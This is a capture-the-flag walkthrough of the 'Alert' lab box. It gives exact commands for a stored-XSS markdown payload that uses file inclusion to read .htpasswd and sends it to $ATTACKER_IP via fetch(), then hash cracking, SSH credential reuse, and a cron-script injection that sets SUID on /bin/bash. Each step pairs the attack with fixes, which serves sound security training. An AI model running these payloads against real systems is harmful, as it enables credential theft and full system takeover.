← all walkthroughs

Alert

Linux· Easy· Web
owned
2026-07-06
time to own
7m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned alert.htb and found a PHP markdown-viewer application that accepted file uploads and rendered me without sanitizing HTML or JavaScript, enabling stored cross-site scripting. A share-link feature combined with a contact form that dispatched an admin bot was abused to execute JavaScript in the administrator's browser. The injected payload exploited a local file inclusion vulnerability in the app's page-routing parameter to read an HTTP Basic Auth credential file from a second virtual host, exfiltrating the hash to me listener.

The cracked hash was reused as an SSH password, granting a low-privileged shell. Post-login enumeration revealed that a root-owned cron script consumed files from a directory writable by the compromised user's group; injecting a command into that path produced a root shell and full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port and service enumeration (T1046)
Scanned open ports and identified the web application
An Nmap scan against $TARGET confirmed SSH on port 22 (OpenSSH 8.2p1) and Apache 2.4.41 on port 80. The web server required a Host header matching 'alert.htb'; once that virtual-host mapping was added locally, the landing page revealed an 'Alert – Markdown Viewer' PHP application with navigation links at index.php?page={alert,contact,about,donate}.
Exact commands 3
Confirm open ports, service banners, and page title.
nmap -Pn -sV -p 22,80 --script http-title,http-headers $TARGET
Map the vhost so subsequent HTTP requests resolve correctly.
echo "$TARGET alert.htb" | sudo tee -a /etc/hosts
Retrieve the landing page and enumerate navigation links.
curl -s http://alert.htb/
2EnumerationVirtual-host enumeration; web application surface mapping
Discovered a password-protected second vhost and the markdown upload and contact-form features
Virtual-host fuzzing uncovered a second host, statistics.alert.htb, protected by HTTP Basic Authentication. The primary app exposed visualizer.php — a file-upload endpoint that accepted .md files and returned publicly-accessible share links — and a contact page that forwarded a submitted URL to an admin reviewer process. Together these surfaces formed the core attack chain.
Exact commands 4
Fuzz for additional virtual hosts on the same IP.
ffuf -u http://alert.htb/ -H 'Host: FUZZ.alert.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 302,404
Register the discovered secondary vhost.
echo "$TARGET statistics.alert.htb" | sudo tee -a /etc/hosts
Confirm HTTP Basic Auth is required and note the realm name.
curl -sv http://statistics.alert.htb/ 2>&1 | grep -i 'www-authenticate\|401'
Retrieve the contact form to enumerate field names and action target.
curl -s 'http://alert.htb/index.php?page=contact'
FixIsolate internal virtual hosts and store credential files outside the document rootMedium
WeaknessA second virtual host (statistics.alert.htb) was discoverable from the internet via Host-header fuzzing. Its .htpasswd file was stored inside the web document root, making it reachable via the primary application's file-inclusion flaw.
FixRestrict internal vhosts to known IP ranges using Apache's Require ip directive, or place them behind VPN/firewall rules so they are not reachable from untrusted networks. Move the .htpasswd file to a directory outside the document root (e.g. /etc/apache2/auth/) and reference it by absolute path in the VirtualHost config. Set file permissions to 600 owned by root.
3ExploitationStored Cross-Site Scripting (CWE-79) chained with Local File Inclusion (T1083)
Uploaded a malicious markdown file embedding a stored XSS and LFI payload
The markdown renderer at visualizer.php converted uploaded .md content to HTML and wrote it to a publicly-accessible share URL without stripping script tags. I-crafted file embedded JavaScript that, when executed in any browser, used a synchronous XMLHttpRequest to fetch the .htpasswd credential file from the statistics vhost by supplying a path-traversal string to the LFI-vulnerable index.php?page= parameter, then base64-encoded and POST-ed the contents to me listener.
Exact commands 2
Replace $ATTACKER_IP with your HTB VPN IP. The XSS reads .htpasswd via LFI and exfiltrates it base64-encoded.
cat > /tmp/payload.md << 'EOF'
# Alert
<script>var x=new XMLHttpRequest();x.open('GET','http://alert.htb/index.php?page=../../var/www/statistics.alert.htb/.htpasswd',false);x.send();fetch("http://$ATTACKER_IP:8000/?d="+btoa(x.responseText));</script>
EOF
Upload the malicious markdown; record the link_share= value from the response.
curl -s -F 'file=@/tmp/payload.md' http://alert.htb/visualizer.php
FixSanitize markdown output and lock the page-routing parameter to a safe allowlistCritical
WeaknessTwo related flaws were chained. First, the markdown renderer output raw HTML and JavaScript from uploaded files directly into the browser without sanitization, enabling stored XSS. Second, the index.php?page= parameter passed externally controlled input to a file-inclusion call without validation, enabling local file inclusion that the XSS payload exploited to read arbitrary server files in the admin's browser context.
FixRender markdown through a server-side library configured to strip raw HTML (e.g., CommonMark with the DisallowedRawHtml extension). Set a strict Content-Security-Policy (script-src 'none') on all visualizer output pages to prevent inline script execution even if a payload reaches the output. Replace the ?page= dynamic inclusion with a hard-coded allowlist (switch/case over permitted page names); never pass user input directly to include(), require(), or file_get_contents().
4ExploitationAdmin-bot-driven XSS execution; out-of-band data exfiltration (T1041)
Triggered the admin bot via the contact form to execute the payload and exfiltrate the credential hash
The contact form forwarded a supplied URL to a backend admin process that fetched and rendered it in a browser-like context. Submitting the share link caused the admin bot to load the malicious markdown, running the JavaScript and exfiltrating the base64-encoded .htpasswd contents to my HTTP listener. Decoding the response revealed a bcrypt or MD5-crypt hash for a local user account.
Exact commands 3
Start a listener to capture the exfiltrated hash (run in a separate terminal).
python3 -m http.server 8000
Submit the share URL via the contact form; adjust field names to match those found in step 2.
curl -s -X POST 'http://alert.htb/index.php?page=contact' --data 'email=$USERNAME@evil.com&message=http://alert.htb/visualizer.php?link_share=6a4bfa50cea137.13769364.md'
Decode the exfiltrated .htpasswd line to reveal the username and hash.
echo '<base64_value_from_listener>' | base64 -d
5Credential AccessOffline password hash cracking (T1110.002)
Cracked the .htpasswd password hash offline to recover plaintext credentials
The exfiltrated .htpasswd entry contained a hashed password (Apache MD5-crypt or bcrypt format) for a named user. Running the hash against the RockYou wordlist with Hashcat recovered the plaintext password in minutes, providing credentials to test against the SSH service.
Exact commands 2
Paste the full username:hash line from the decoded .htpasswd output.
echo 'albert:$apr1$<extracted_hash>' > /tmp/htpasswd.hash
Mode 1600 = Apache MD5 ($apr1$). Switch to -m 3200 if the hash begins with $2y$ (bcrypt).
hashcat -m 1600 /tmp/htpasswd.hash /usr/share/wordlists/rockyou.txt --force
FixUse strong, unique passwords for HTTP Basic Auth and prohibit credential reuse across servicesHigh
WeaknessThe .htpasswd password was weak enough to crack offline against a common wordlist in minutes. The same password was also set on the user's SSH account, converting a web-layer authentication bypass into full operating-system access.
FixRequire passwords of at least 16 random characters for all service accounts. Use bcrypt ($2y$) with a cost factor of 12 or higher for .htpasswd entries (htpasswd -B). Enforce a policy that web-application and OS/SSH credentials must differ. Consider replacing HTTP Basic Auth with a token-based or SSO scheme that does not expose crackable hashes if the statistics interface is accessed by more than a single user.
6FootholdValid credential reuse over SSH (T1078)
Logged in via SSH with the cracked credential and captured the user flag
The password recovered from the .htpasswd file was reused on the SSH service for the same username. Successful authentication gave an interactive shell as that user, and the user flag was read from the home directory.
Exact commands 2
Authenticate with the plaintext password recovered in the previous step.
ssh albert@$TARGET
Read the user flag: <user.txt>
cat ~/user.txt
7Privilege EscalationCron-based privilege escalation via group-writable path (T1053.003)
Injected a command into a root-owned cron script via a group-writable directory to gain root
Enumeration of the compromised account showed membership in a privileged group that had write access to a directory consumed by a root-owned scheduled script. Appending a shell command to that script — or dropping a file the script would execute — caused root to run my own code on the next cron cycle. The payload set the SUID bit on /bin/bash, producing an effective root shell and allowing root.txt to be read.
Exact commands 4
Identify group memberships, scheduled tasks, and paths writable by the current user's group.
id && cat /etc/crontab /etc/cron.d/* 2>/dev/null && find / -writable -group "$(id -gn)" 2>/dev/null | grep -v proc
Append a SUID-bash payload; replace the path with the actual writable script discovered above.
echo 'chmod +s /bin/bash' >> /path/to/group-writable/script.sh
After the cron fires (wait up to one minute), execute bash with preserved effective UID root.
/bin/bash -p
Read the root flag: <root.txt>
cat /root/root.txt
FixRemove group-write access to scripts and directories consumed by root-owned scheduled jobsCritical
WeaknessA cron job running as root read or executed content from a directory writable by an ordinary user group. Any user in that group could inject commands that root would execute on the next scheduled cycle, yielding complete system compromise.
FixAudit every cron job and systemd timer running as root: each script it calls and each directory it reads must be owned by root and not writable by any other user or group (chmod 700 for scripts, chmod 750 for directories at most). Run monitoring or maintenance jobs as a dedicated least-privilege service account rather than root. Periodically re-audit with: find /etc/cron* /var/spool/cron -not -user root -ls.

Attack patterns used

The transferable techniques behind this compromise.

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Exposed services

22/tcp
80/tcp